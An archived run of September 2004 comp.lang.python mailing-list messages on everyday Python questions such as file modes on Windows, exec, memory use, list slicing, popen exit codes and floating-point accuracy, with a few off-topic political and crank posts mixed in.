listening to my phone calls and scanning my email. (This particular freedom has been being eroded for decades, but the Patriot Act is pretty much the final nail in the coffin.) I've lost the freedom from the assumption that, if I read certain books and speak of believing in certain principles, I'm not necessarily going to act in a criminal manner to further those principles. (If I loudly proclaim that the government is horribly wrong, and I also happen to buy a copy of something like, say, The Anarchist's Cookbook... I'm now liable to be perceived by the government as a terrorist, and thus be subject to arrest and imprisonment with no charges being filed and no access to legal recourse. It doesn't matter whether the government can *prove* that I planned anything, or even if I can prove that I have no such plans -- there's no opportunity for me to offer or dispute evidence.) I have a good friend who's a (European) immigrant. It is now legal for the government to detain her for any length of time they so desire, without giving any reason more definite than "suspected involvement in terrorism" -- and with *no* need to provide any evidence to back that claim. Whether it's been done or not is irrelevant -- she's very much aware of the feeling that, despite the fact that she's been living and working in the US for most of her adult life, the mere fact that she's not "American" makes her immediately suspect, and potentially subject to being "disappeared". Trusting to the goodwill and honesty of the government to *not* use its authority is, to say the least, not exactly heartening. Most importantly, I've lost the freedom to live my life *without* feeling quite so much like Big Brother is just waiting for me to make a mistake, so that the rest of the US can be "saved" from terrorism. (I've said my piece, but I don't expect we're likely to ever reach an agreement. So, especially considering that I don't feel that comp.lang.* is really an appropriate place for political discussion, I won't be commenting further in this subthread.) Jeff Shannon Technician/Programmer Credit International From ralf at brainbot.com Fri Sep 24 15:24:04 2004 From: ralf at brainbot.com (Ralf Schmitt) Date: Fri, 24 Sep 2004 21:24:04 +0200 Subject: file read, binary or text mode References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> Message-ID: <86hdpnpj1n.fsf@stronzo.brainbot.com> "Terry Reedy" writes: > > Newbies, ignore this confusion. > > On Windows, text mode autoconverts \r\n to \n on input and viceverse on > output. I believe that that is all the difference. Period. > That's not quite the case. As always windows sucks big time: $ cat bla.py open("b.txt", "w").write("bla\x1a") print len(open("b.txt", "rb").read()) open("b.txt", "a+") print len(open("b.txt", "rb").read()) ralf at CRACK ~ $ python bla.py 4 3 The last character gets stripped if it's 0x1a when opening a file for appending in text mode. I remember this from a posting on the metakit mailing list. The poor guy corrupted his databases while he wanted to check for write access: http://www.equi4.com/pipermail/metakit/2003-October/001497.html - Ralf -- brainbot technologies ag boppstrasse 64 . 55118 mainz . germany fon +49 6131 211639-1 . fax +49 6131 211639-2 http://brainbot.com/ mailto:ralf at brainbot.com From programmer.py at gmail.com Fri Sep 10 08:50:49 2004 From: programmer.py at gmail.com (Jaime Wyant) Date: Fri, 10 Sep 2004 07:50:49 -0500 Subject: Electronic voting feasibility In-Reply-To: <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> References: <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> Message-ID: I think the negativity is well founded. http://www.blackboxvoting.org/ On Fri, 10 Sep 2004 08:40:32 -0400, Istvan Albert wrote: > Greg Steffensen wrote: > > > I'd like the internet voting > > component to be close to the real deal > > Like surrounded by negative advertising, mindless exaggerations > and populist lies? > > Istvan > > > -- > http://mail.python.org/mailman/listinfo/python-list > From mauriceling at acm.org Wed Sep 29 19:12:37 2004 From: mauriceling at acm.org (Maurice LING) Date: Wed, 29 Sep 2004 23:12:37 GMT Subject: embedding python in python In-Reply-To: <4b39d922.0409290938.42c68ca4@posting.google.com> References: <415a7f0b$1@news.unimelb.edu.au> <4b39d922.0409290938.42c68ca4@posting.google.com> Message-ID: <415b415e$1@news.unimelb.edu.au> Lonnie Princehouse wrote: > Maurice LING wrote in message news:<415a7f0b$1 at news.unimelb.edu.au>... > >>Hi, >> >>anyone had any experiences in embedding python in python? >> >>I've tried to do this but it doesn't work. >> >>eval("from Tkinter import *") >> >>Thanks >>maurice > > > You need exec for statements: > > exec("from Tkinter import *") Thank you. From adalke at mindspring.com Sun Sep 12 13:54:00 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sun, 12 Sep 2004 17:54:00 GMT Subject: open and shut case In-Reply-To: <878ybfk3rf.fsf@pobox.com> References: <878ybfk3rf.fsf@pobox.com> Message-ID: John J. Lee wrote: > PS. these days, your subject line sounds distinctly spammish > (especially since it's a woman posting the message to a > comp. newsgroup -- how likely can that be? ;-) What the .... ??! Was that supposed to be funny? The smiley suggests you thought it was. It isn't. It's crude and rude. Andrew dalke at dalkescientific.com From anon at ymous.com Tue Sep 14 00:39:49 2004 From: anon at ymous.com (Anon) Date: Tue, 14 Sep 2004 04:39:49 GMT Subject: optimizing memory utilization Message-ID: Hello all, I'm hoping for some guidance here... I am a c/c++ "expert", but a complete python virgin. I'm trying to create a program that loads in the entire FreeDB database (excluding the CDDBID itself) and uses this "database" for other subsequent processing. The problem is, I'm running out of memory on a linux RH8 box with 512MB. The FreeDB database that I'm trying to load is presently consisting of two "CSV" files. The first file contains a "list" of albums with artist name and an arbitrary sequential album ID an the CDDBID (an ascii-hex representation of a 32-bit value). The second file contains a list of all of the tracks on each of the albums, crossreferenced via the album ID. When I load into memory, I create a python list where each entry in the list is itself a list representing the data for a given album. The album data list consists of a small handful of text items like the album title, author, genre, and year, as well as a list which itself contains a list for each of the track on the album. [[, '', '', '','', [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]], [, '', '', '','', [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]], ... [, '', '', '','', [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]]]] So the problem I'm having is that I want to load it all in memory (the two files total about 250MB of raw data) but just loading the first 50,000 lines of tracks (about 25MB of raw data) consumes 75MB of RAM. If the approximation is fairly accurate, I'd need >750MB of available RAM just to load my in-memory database. The bottom line is, is there a more memory efficient way to load all this arbitrary field length and count type data into RAM? I can already see that creating a seperate list for the group of tracks on an album is probably wasteful versus just appending them to the album list, but I doubt that will yeild the desired level of optimization of memory usage?? Any data structures suggestions for this application? BTW, the later accesses to this database would not benefit in any way from being presorted, so no need to warn me in advance about concepts like presorting the albums list to facillitate faster look-up later... Thanks, Wes From mfranklin1 at mfranklin.is-a-geek.org Thu Sep 30 08:57:14 2004 From: mfranklin1 at mfranklin.is-a-geek.org (Martin Franklin) Date: Thu, 30 Sep 2004 13:57:14 +0100 Subject: Adding a command to a Pmw.counter widget In-Reply-To: References: Message-ID: Mark Light wrote: > Hi, > I have a Pmw.Counter widget and I would like to add a command that > is called on pressing either the up or down arrows (the command will be > the same for both). I have managed to do this for the entryfield with > "entryfield_command = ", but can't get the same to work for the arrows, > could someone help me out with how to do this. > Looking at the source for the PmwCounter it doesn't look like it exposes the buttons callbacks. I think the best way to do this would be to provide a validator method to the Counter's entryfield. The validator gets called whenever the entryfields value changes. Example validator methods are included in the Pmw documentation. Martin From pfeiffer at cs.nmsu.edu Fri Sep 3 17:59:37 2004 From: pfeiffer at cs.nmsu.edu (Joe Pfeiffer) Date: 03 Sep 2004 15:59:37 -0600 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: <1beklj814m.fsf@cs.nmsu.edu> Alan Balmer writes: > On Fri, 03 Sep 2004 16:12:52 GMT, "John W. Kennedy" > wrote: > > >Anne & Lynn Wheeler wrote: > >> i have some recollection of competing bids building single unit > >> assemblies at sea coast sites allowing them to be barged to > >> florida. supposedly the shuttle boosters were sectioned specifically > >> because they were being fabricated in utah and there were > >> transportation constraints. > > > >Yes. A vastly inferior design was used, which ended up killing seven > >astronauts, because Orrin Hatch had to be appeased with boodle for Utah. > > The first disaster was due to (possibly inferior) gaskets and inferior > judgment on launch day. The second was falling foam, and inferior > realization of the gravity of the problem. I'm not clear on what > either had to do with Utah. IIRC (always risky), the use of a segmented booster calling for o-rings in the first place came from the need to transport the boosters from Utah. -- Joseph J. Pfeiffer, Jr., Ph.D. Phone -- (505) 646-1605 Department of Computer Science FAX -- (505) 646-1002 New Mexico State University http://www.cs.nmsu.edu/~pfeiffer From missive at frontiernet.net Tue Sep 21 16:37:53 2004 From: missive at frontiernet.net (Lee Harr) Date: Tue, 21 Sep 2004 20:37:53 GMT Subject: New to Python References: Message-ID: On 2004-09-21, w wrote: > excuse my ignorance. I cannot get this simple program to calculate > the formula. > > The error message is unsupported operand type(s) str. I know the data > that I'm reading from the file is a string but I cannot convert it to > a float or int. > > The code a sample form the data file are below. > > # Calculate Gross Profit from SIL File > > import os.path > > in_file = open( "s3cga1.new", "r") > > while 1: > data = in_file.readline() > if not data: > break > > if data[0:1] == "(": > > nCost = data[ 99:106] > nPack = data[ 44:48] > > nRetail = data[ 79:87] > nQuan = data[ 87:90] > nAllowance = data[ 147:154] > > nGp = ( ( nRetail / nQuan ) - ( ( nCost - nAllowance) / nPack ) ) / ( > nRetail / nQuan ) > > print nCost, nPack, nQuan, nRetail, nAllowance > Put your print statement _before_ you do any calculations, so you can see what you are trying to calculate with ... > > EXAMPLE OF DATA FILE > (00007756725434,'*BREYER STRWBRY ICE ',0007,0006,' 56 OZ ','000216 > ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000,0000000,0004.00000,2004262,2004282), > (00007756725433,'*BREYER PEACH ICE CR',0007,0006,' 56 OZ ','000224 > ',0004.95,001,2004260,0024.43000,0000000,00000.00,000,0000000,0000000,0004.00000,2004262,2004282), From dave at pythonapocrypha.com Tue Sep 28 19:35:19 2004 From: dave at pythonapocrypha.com (Dave Brueck) Date: Tue, 28 Sep 2004 17:35:19 -0600 Subject: Python + strange == cool In-Reply-To: <10ljshapfl2nbd8@corp.supernews.com> References: <10ljshapfl2nbd8@corp.supernews.com> Message-ID: <4159F537.4050101@pythonapocrypha.com> Maboroshi wrote: > All fine and good > > >>> x = ["list1", "list2", "list3", 4, 5, 6, 7] > >>> x[1:-1] > ['list2', 'list3', 4, 5, 6] # All good here > > this struck me as weird I had an idea to mess around with lists > > >>> x[1:+1] > [] > > now when I do this > >>> x[1:+2] > ['list2'] > > Does this puzzle anyone else > > of course I am a total novice so I have no idea what I am doing here if > anyone has any ideas please reply Look at section 3.1.2 of the Python tutorial (look at the whole tutorial if you haven't already ;-) ). The part explaining the above starts like this: "The best way to remember how slices work is to think of the indices as pointing between characters..." (note that 3.1.2 is talking about strings, but lists, tuples, and strings are all sequences and share many properties. Also, working with strings might make it easier to grasp what's going on, and once you've got those down then applying the principles to lists and tuples will be a breeze) -Dave From Mike at Geary.com Wed Sep 15 14:49:57 2004 From: Mike at Geary.com (Michael Geary) Date: Wed, 15 Sep 2004 11:49:57 -0700 Subject: Align numbers at decimal point References: <2qqe5vF11pk6jU1@uni-berlin.de> Message-ID: <10kh3mm65tnl8a6@corp.supernews.com> Enno Middelberg wrote: > I want to print out columns of numbers which are aligned at > the decimal point, eg: > > 123.45 > 3.0 > 65.765486 Those decimal points are not aligned on my display. You can probably guess why: I'm using a proportional font, and spaces are not as wide as digits. So, in addition to the algorithmic tips you've gotten, you need to be sure you're printing in a monospaced font such as Courier. If you print in a proportional font, you need to use other means to align the decimal points instead of padding with spaces. -Mike From sean.berry2 at cox.net Mon Sep 13 23:57:35 2004 From: sean.berry2 at cox.net (news.west.cox.net) Date: Mon, 13 Sep 2004 20:57:35 -0700 Subject: Easy question on opening a file Message-ID: <3_t1d.296421$Oi.201894@fed1read04> I want to check a directory, see if there are any files in it... then open each one and do something. I have this... files = os.listdir('/direcory') if len(files) > 0: for file in files: f1 = file(file, "r") do some other stuff But this raises a TypeError: TypeError: 'str' object is not callable So I tried replacing the line f1 = file(file, "r") with f1 = file('%s' %file, "r") But that does not work either. I know this is easy, anyone care to point out the solution. Thanks. -- Sean Berry ~ Internet Systems Programmer BuildingOnline Inc. The Building Industry's Web Design and Marketing Agency Celebrating our 9th year in business, founded Aug. 1995 Ph: 888-496-6648 ~ Fax: 949-496-0036 --> Web Design Agency site: http://www.BuildingOnline.net --> Building Industry Portal: http://www.BuildingOnline.com --> Building Industry News: http://www.BuildingOnline.com/news/ --> Home Plans: http://www.eHomePlans.com From ruchika_khera at hotmail.com Thu Sep 9 01:35:57 2004 From: ruchika_khera at hotmail.com (Ruchika) Date: 8 Sep 2004 22:35:57 -0700 Subject: Python Enviroment Variables Message-ID: <82880e86.0409082135.600f9cd@posting.google.com> Hi, How can i get/set environment variables in Python? I am trying to run Perforce commands from Python script but am unsuccesful. Want to make sure that Perforce is in the path. How can I get/set the Environment/Path variables from within the script? Thanks, Ruchika From pinard at iro.umontreal.ca Fri Sep 24 18:07:37 2004 From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard) Date: Fri, 24 Sep 2004 18:07:37 -0400 Subject: NEW MAINTAINER for Pymacs [corrected] In-Reply-To: <41547113$0$8885$626a14ce@news.free.fr> References: <20040917002304.GA14120@alcyon.progiciels-bpi.ca> <41547113$0$8885$626a14ce@news.free.fr> Message-ID: <20040924220737.GA25276@alcyon.progiciels-bpi.ca> [bruno modulix] > [Fran?ois Pinard] > >See `http://pymacs.progiciels-bpi.ca' for more documentation, including > I got this : > /home/pinard/vim/pymacs/web/index.html:31: Inclure ../gabarit.html > Ne peut lire le fichier `None'. Oops, sorry. This is corrected now -- at least for this page; I shall check a few others as well which were made through the same recipe :-). -- Fran?ois Pinard http://pinard.progiciels-bpi.ca From fumanchu at amor.org Thu Sep 2 00:25:21 2004 From: fumanchu at amor.org (Robert Brewer) Date: Wed, 1 Sep 2004 21:25:21 -0700 Subject: why is this so slow? Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EAD@exchange.hqamor.amorhq.net> Lowell Kirsh wrote: > I created the following class (I know it's a dirty hack) so I > could do > foo.bar instead of using a dictionary and having to type foo['bar'] : > > class DefaultAttr(object): > def __getattribute__(self, attr): > if not hasattr(self, attr): > return '' > return object.__getattribute__(self,attr) > > but its use is totally slowing down my program. Why is it so > slow and is there a better way? IIRC, hasattr calls __getattribute__. If you run: class DefaultAttr(object): def __getattribute__(self, attr): print "Looking up %s" % attr if not hasattr(self, attr): return '' return object.__getattribute__(self,attr) da = DefaultAttr() print da.f ...you can see the lookups whizzing by. Try this instead: class DefaultAttr(object): def __getattr__(self, attr): return '' http://docs.python.org/ref/attribute-access.html explains the difference, that __getattr__ only gets called when the object is not found "in the usual places". HTH Robert Brewer MIS Amor Ministries fumanchu at amor.org From jepler at unpythonic.net Wed Sep 8 10:22:02 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 8 Sep 2004 09:22:02 -0500 Subject: os.popen4 and popen2.popen4 undocumented behavior In-Reply-To: <2D89F6C4A80FA547BF5D5B8FDDD04523060CC5@exchange.adrembi.com> References: <2D89F6C4A80FA547BF5D5B8FDDD04523060CC5@exchange.adrembi.com> Message-ID: <20040908142201.GF5522@unpythonic.net> The offending code, in Modules/posixmodule.c:_PyPclose() (indentation decreased for clarity): /* Last file for this process */ if (result != EOF && WaitForSingleObject(hProcess, INFINITE) != WAIT_FAILED && GetExitCodeProcess(hProcess, &exit_code)) { /* Possible truncation here in 16-bit environments, but * real exit codes are just the lower byte in any event. */ result = exit_code; Here, exit_code is apparently getting the negative number, in particular -1. When this is eventually returned (to Objects/fileobject.c:file_close()) it is treated as though the close call failed (since (on your platform) -1 is EOF, the failure value for fclose()). If -1 is the only value that works incorrectly, then maybe the code in posixmodule.c should be canged to result = exit_code == -1 ? -2 : exit_code; from my reading, -1 causes an error, 0 returns None, and any other value returns an int, so this should make your test.exe return -2 on the second close, instead of raising IOError. Another choice would be to write if(sts == EOF && errno != 0) /* raise IOError */ instead of if(sts == EOF) /* raise IOError */ in fileobject.c, since a failed f_close would always set errno. In your case, the successful f_close returned a value that happens to equal EOF but "succeeded" in some sense. As far as being undocumented, under Unix os.popen4 doesn't seem to give the return value of the called program on the close of the last part of the pipe (all the closes return None). If you believe one of these solutions I proposed is a good one, you should go through the patch submission process on sourceforge, which will eventually be reviewed by someone and possibly accepted (though almost certainly not in time for Python 2.4.0). If you do, please add a test to the test suite (for Windows only, since the Unix behavior differs) as a part of your patch. Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From ronaldoussoren at mac.com Wed Sep 1 09:11:31 2004 From: ronaldoussoren at mac.com (Ronald Oussoren) Date: Wed, 1 Sep 2004 15:11:31 +0200 Subject: Python cannot use SMTP... In-Reply-To: References: Message-ID: <715EE6C0-FC18-11D8-93A3-000D93AD379E@mac.com> On 1-sep-04, at 14:56, JZ wrote: > Wed, 01 Sep 2004 08:33:51 -0400, na comp.lang.python, Peter Hansen > napisa?(a): > >> The first three characters are the critical part. If they aren't >> a three-digit SMTP response code, your server is likely borken. >> If you post the results, someone might have some advice, but it's >> not likely this is a Python issue. > > via telnet localhost 25: > ... > Connected to localhost. > Escape character is '^]'. > db_connect: failed to connect to database: Error: Access denied for > user: > 'admin at localhost' (Using password: YES) > 220 NS1.4U2.PL ESMTP This is a buggy mail server, the line starting with 'db_connect' is not according to spec. If other tools work that is coincidence. Ronald From fuzzyman at gmail.com Thu Sep 2 04:06:21 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 2 Sep 2004 01:06:21 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: Message-ID: <6f402501.0409020006.36c02392@posting.google.com> Mark Hahn wrote in message news:... > This is an announcement of the beginning of development of a new > Python-like language called PyCs (pronounced "pie-cees"). Like IronPython, > PyCs will be Python on .Net but it will have more advanced features and > probably have higher performance due to a Psyco-like implementation > technique. See http://pycs.org. > [snip..] Can I add my voice to the list of those saying that cProthon sounded interesting.... and that PyCs doesn't sound useful... unless you can get it to generate something *useful to the python community*. Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From mailtome200420032002 at yahoo.com Fri Sep 24 02:56:44 2004 From: mailtome200420032002 at yahoo.com (john) Date: 23 Sep 2004 23:56:44 -0700 Subject: XSLT and client cache Message-ID: <4c900ea0.0409232256.5a90ea09@posting.google.com> Hi I want to do something like this: Store the XSLT document in the client cache if it is not already present. If present then use that XSLT document to display the xml. I have no idea how to do this. Can anyone help. From donald.welch at hp.com Thu Sep 9 12:21:03 2004 From: donald.welch at hp.com (djw) Date: Thu, 09 Sep 2004 09:21:03 -0700 Subject: declare a constant in Python? References: <3064b51d.0409090812.46ee0477@posting.google.com> Message-ID: <414084c8@usenet01.boi.hp.com> beliavsky at aol.com wrote: > I wish one could declare a constant in Python, analogous to 'const int > i=1;' in C++. Is there a way to get this effect? Google is your friend: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=mailman.998158617.21783.python-list%40python.org&rnum=3&prev=/groups%3Fq%3Dpython%2Bconstant%26hl%3Den%26lr%3D%26ie%3DUTF-8%26selm%3Dmailman.998158617.21783.python-list%2540python.org%26rnum%3D3 Smaller URL: http://tinyurl.com/6svro -Don From pmaupin at speakeasy.net Sat Sep 18 18:44:06 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 18 Sep 2004 15:44:06 -0700 Subject: Electronic voting feasibility References: Message-ID: <653b7547.0409181444.41e0d131@posting.google.com> > What is "sound cryptography"? It seems too close to me to > "sound science". I'm not sure what the problem is here -- obviously, you'll need to know something about the physics of acoustics in order to use pressure waves for encryption, so I think "sound cryptography" _should_ be really close to "sound science." :) Pat From donn at u.washington.edu Thu Sep 23 15:06:31 2004 From: donn at u.washington.edu (Donn Cave) Date: Thu, 23 Sep 2004 12:06:31 -0700 Subject: incrementing a time tuple by one day References: Message-ID: In article , Peter Hansen wrote: > David Stockwell wrote: > > I'm sure this has been asked before, but I wasn't able to find it. > > > > First off I know u can't change a tuple but if I wanted to increment a > > time tuple by one day what is the standard method to do that? > > > > I've tried the obvious things and haven't gotten very far. > > > > I have a time tuple that was created like this: > > aDate = '19920228' > > x = time.strptime(aDate,"%Y%m%d") > > print x > > (1992, 2, 28, 0, 0, 0, 4, 59, -1) > > > > y = time.mktime(x) + time.mktime((0,0,1,0,0,0,0,0,0)) > > print y > > 1643277600.0 > > print time.ctime(y) > > 'Thu Jan 27 05:00:00 2022' > > > > It appears to have decremented by a day and a month instead of increment. > > > > What am I doing wrong? > > What you're doing wrong is: not using the datetime module... > > >>> aDate = '19920228' > >>> x = time.strptime(aDate, '%Y%m%d') > >>> print x > (1992, 2, 28, 0, 0, 0, 4, 59, -1) > >>> d = datetime.datetime.fromtimestamp(time.mktime(x)) > >>> d > datetime.datetime(1992, 2, 28, 0, 0) > >>> y = d + datetime.timedelta(days=1) > >>> y.ctime() > 'Sat Feb 29 00:00:00 1992' $ python Python 2.2 (#1, 11/12/02, 23:31:59) [GCC Apple cpp-precomp 6.14] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import datetime Traceback (most recent call last): File "", line 1, in ? ImportError: No module named datetime >>> Well, who knows, maybe datetime is the answer for him, but if not, I would just use 24*60*60 instead of trying to get one day in seconds out of mktime(). (I think if you look at the date closer, it isn't decremented all!) Donn Cave, donn at u.washington.edu From brian at sweetapp.com Wed Sep 1 07:11:19 2004 From: brian at sweetapp.com (Brian Quinlan) Date: Wed, 01 Sep 2004 13:11:19 +0200 Subject: XML documentation stinks - help? In-Reply-To: References: Message-ID: <4135AE57.8070600@sweetapp.com> Simon John wrote: > No, that's the docs I'm talking about, it's awful IMO. I don't disagree. However, the W3 defines a lot of vocabulary for talking about XML and learning that is probably the first step in learning XML in any language. > So far I've found a little bit of info on the xml.parsers.expat module, > and got the following working the way Perl does, but it seems to create > blank elements due to whitespace! What is a blank "element"? Do you mean a text node containing only whitespace? > And it seems the expat module has been deprecated in favour of SAX? Expat provides a SAX stream. You said the equivalent of "BMWs are being depreciated in favour of cars". > # create parser > prs = xml.parsers.expat.ParserCreate() > > # start handler > prs.StartElementHandler = startHandler > > # end handler > prs.EndElementHandler = endHandler > > # char handler > prs.CharacterDataHandler = charHandler Subclassing is probably a more logical way to do this. Cheers, Brian From ville at spammers.com Thu Sep 30 13:42:13 2004 From: ville at spammers.com (Ville Vainio) Date: 30 Sep 2004 20:42:13 +0300 Subject: Python in Process Control? References: Message-ID: >>>>> "Wolfgang" == Wolfgang Keller writes: Wolfgang> ...does really noone use Python for industrial control Wolfgang> applications? People are known to do this. Wolfgang> At least I didn't manage to find any publicly available Wolfgang> modules for such things as OPC/fieldbus communication Wolfgang> etc... Such things don't necessarily float into open source. My adventures w/ OPC involved both Python and C++ code - with my current knowledge of Python there would probably have been much less C++ code :-). OPC is just DCOM, which should work directly w/ Python+pywin32 extensions (used to be called win32all, which might help your googlings). Get Mark Hammond's book Python Programming on Win32: http://www.oreilly.com/catalog/pythonwin32/ Alternatively, you could buy/find a C library that makes OPC simple (i.e. no need to deal w/ COM), and wrap it up in Python. And BTW, OPC sucks. Those industrial decision makers must have smoked lots of crack when they came up w/ the idea of using DCOM as the integrator-facing interface that is supposed to be easy and straightforward. -- Ville Vainio http://tinyurl.com/2prnb From cbuffer at NOSPAMrosecott.ukfsn.org Mon Sep 27 19:35:14 2004 From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes) Date: Tue, 28 Sep 2004 00:35:14 +0100 Subject: The technology edge!!! References: Message-ID: On Sun, 26 Sep 2004 14:10:01 +0000, physics wrote: > This is all a fact don't beleive me then mail it to > everyone and watch the news in 2 years!! If i'm wrong you can torcher me > fro 60,000 years!! I know the future of technology and this is as high > tech as it can go this is the end of all new informations! The tree of > life!! > > > > Cognitive Quantum Physics Matrix > > The first step in solving the theory of everything is Cognitive Quantum > Physics Matrix > of finding all that you can feel and see on every frequency level. You are > where you see where your at but can be somewhere else that you don't see > but that's not the golden prize it's the technology developed..... Is there any chance of this technology teaching people to write? From clifford.wells at comcast.net Mon Sep 20 17:14:45 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Mon, 20 Sep 2004 14:14:45 -0700 Subject: Determining if a client PC has an Internet connection In-Reply-To: <414EE8BA.3030405@pythonapocrypha.com> References: <1095578301.31957.263.camel@devilbox.devilnet.internal> <414EE8BA.3030405@pythonapocrypha.com> Message-ID: <1095714885.31957.427.camel@devilbox.devilnet.internal> On Mon, 2004-09-20 at 08:27 -0600, Dave Brueck wrote: > Cliff Wells wrote: > > I'm writing an application that needs to know if an Internet connection > > is available. > [snip] > > Is there any way to reliably determine the state of the client's > > internet connectivity? > > Hi Cliff, > > On a Win32 system you can reliably determine the state of the Internet > connection but it requires a fair amount of work. Here's the recipe I use: Thanks Dave. I'll add these techniques to my little battery of tests. -- Cliff Wells From gherron at islandtraining.com Sun Sep 19 13:16:12 2004 From: gherron at islandtraining.com (Gary Herron) Date: Sun, 19 Sep 2004 10:16:12 -0700 Subject: Math errors in python In-Reply-To: <1gkdg6v.beghga12wpi7qN%aleaxit@yahoo.com> References: <70b3d.1822$uz1.747@trndny03> <1gkdg6v.beghga12wpi7qN%aleaxit@yahoo.com> Message-ID: <200409191016.12310.gherron@islandtraining.com> A nice thoughtful answer Alex, but possibly wasted, as it's been suggested that he is just a troll. (Note his asssertion that Pi=22/7 in one post and the assertion that it is just a common approximation in another, and this in a thread about numeric imprecision.) Gary Herron On Sunday 19 September 2004 09:41 am, Alex Martelli wrote: > Chris S. wrote: > ... > > > Sqrt is a fair criticism, but Pi equals 22/7, exactly the form this > > Of course it doesn't. What a silly assertion. > > > arithmetic is meant for. Any decimal can be represented by a fraction, > > And pi can't be represented by either (if you mean _finite_ decimals and > fractions). > > > yet not all fractions can be represented by decimals. My point is that > > such simple accuracy should be supported out of the box. > > In Python 2.4, decimal computations are indeed "supported out of the > box", although you do explicitly have to request them (the default > remains floating-point). In 2.3, you have to download and use any of > several add-on packages (decimal computations and rational ones have > very different characteristics, so you do have to choose) -- big deal. > > > > While I'd love to compute with all those numbers in infinite > > > precision, we're all stuck with FINITE sized computers, and hence with > > > the inaccuracies of finite representations of numbers. > > > > So are our brains, yet we somehow manage to compute 12.10 + 8.30 > > correctly using nothing more than simple skills developed in > > Using base 10, sure. Or, using fractions, even something that decimals > would not let you compute finitely, such as 1/7+1/6. > > > grade-school. You could theoretically compute an infinitely long > > equation by simply operating on single digits, > > Not in finite time, you couldn't (excepting a few silly cases where the > equation is "infinitely long" only because of some rule that _can_ be > finitely expressed, so you don't even have to LOOK at all the equation > to solve [which is what I guess you mean by "compute"...?] it -- if you > have to LOOK at all of the equation, and it's infinite, you can't get > done in finite time). > > > yet Python, with all of > > its resources, can't overcome this hurtle? > > The hurdle of decimal arithmetic, you mean? Download Python 2.4 and > play with decimal to your heart's content. Or do you mean fractions? > Then download gmpy and ditto. There are also packages for symbolic > computation and even more exotic kinds of arithmetic. > > In practice, with the sole exception of monetary computations (which may > often be constrained by law, or at the very least by customary > practice), there is no real-life use in which the _accuracy_ of floating > point isn't ample. There are nevertheless lots of traps in arithmetic, > but switching to forms of arithmetic different from float doesn't really > make all the traps magically disappear, of course. > > > However, I understand Python's limitation in this regard. This > > inaccuracy stems from the traditional C mindset, which typically > > dismisses any approach not directly supported in hardware. As the FAQ > > Ah, I see, a case of "those who can't be bothered to learn a LITTLE > history before spouting off" etc etc. Python's direct precursor, the > ABC language, used unbounded-precision rationals. As a result (obvious > to anybody who bothers to learn a little about the inner workings of > arithmetic), the simplest-looking string of computations could easily > consume all the memory at your computer's disposal, and then some, and > apparently unbounded amounts of time. It turned out that users object, > most of the time, to having some apparently trivial computation take > hours, rather than seconds, in order to be unboundedly precise rather > than, say, precise to "just" a couple hundred digits (far more digits > than you need to count the number of atoms in the Galaxy). So, > unbounded rationals as a default are out -- people may sometimes SAY > they want them, but in fact, in an overwhelming majority of the cases, > they actually do not (oh yes, people DO lie, first of all to > themselves:-). > > As for decimals, that's what a very-high level language aiming for a > niche very close to Python used from the word go. It got started WAY > before Python -- I was productively using it over 20 years ago -- and > had the _IBM_ brand on it, which at the time pretty much meant the > thousand-pounds gorilla of computers. So where is it now, having had > all of these advantages (started years before, had IBM behind it, AND > was totally free of "the traditional C mindset", which was very far from > traditional at the time, particularly within IBM...!)...? > > Googlefight is a good site for this kind of comparisons... try: > > &B1=Make+a+fight%21&compare=1&langue=us> > > and you'll see...: > """ > Number of results on Google for the keywords python and rexx: > > python > (10 300 000 results) > versus > rexx > ( 419 000 results) > > The winner is: python > """ > > Not just "the winner", an AMAZING winner -- over TWENTY times more > popular, despite all of Rexx's advantages! And while there are no doubt > many fascinating components to this story, a key one is among the pearls > > of wisdom you can read by doing, at any Python interactive prompt: > >>> import this > > and it is: "practicality beats purity". Rexx has always been rather > puristic in its adherence to its principles; Python is more pragmatic. > It turns out that this is worth a lot in the real world. Much the same > way, say, C ground PL/I into the dust. Come to think of it, Python's > spirit is VERY close to C (4 and 1/2 half of the 5 principles listed as > "the spirit of C" in the C ANSI Standard's introduction are more closely > followed by Python than by other languages which borrowed C's syntax, > such as C++ or Java), while Rexx does show some PL/I influence (not > surprising for an IBM-developed language, I guess). > > Richard Gabriel's famous essay on "Worse is Better", e.g. at > , has more, somewhat bitter > reflections in the same vein. > > Python never had any qualms in getting outside the "directly supported > in hardware" boundaries, mind you. Dictionaries and unbounded precision > integers are (and have long been) Python mainstays, although neither the > hardware nor the underlying C platform has any direct support for > either. For non-integer computations, though, Python has long been well > served by relying on C, and nowadays typically the HW too, to handle > them, which implied the use of floating-point; and leaving the messy > business of implementing the many other possibly useful kinds of > non-integer arithmetic to third-party extensions (many in fact written > in Python itself -- if you're not in a hurry, they're fine, too). > > With Python 2.4, somebody finally felt enough of an itch regarding the > issue of getting support for decimal arithmetic in the Python standard > library to go to the trouble of scratching it -- as opposed to just > spouting off on a mailing list, or even just implementing what they > personally needed as just a third-party extension (there are _very_ high > hurdles to jump, to get your code into the Python standard library, so > it needs 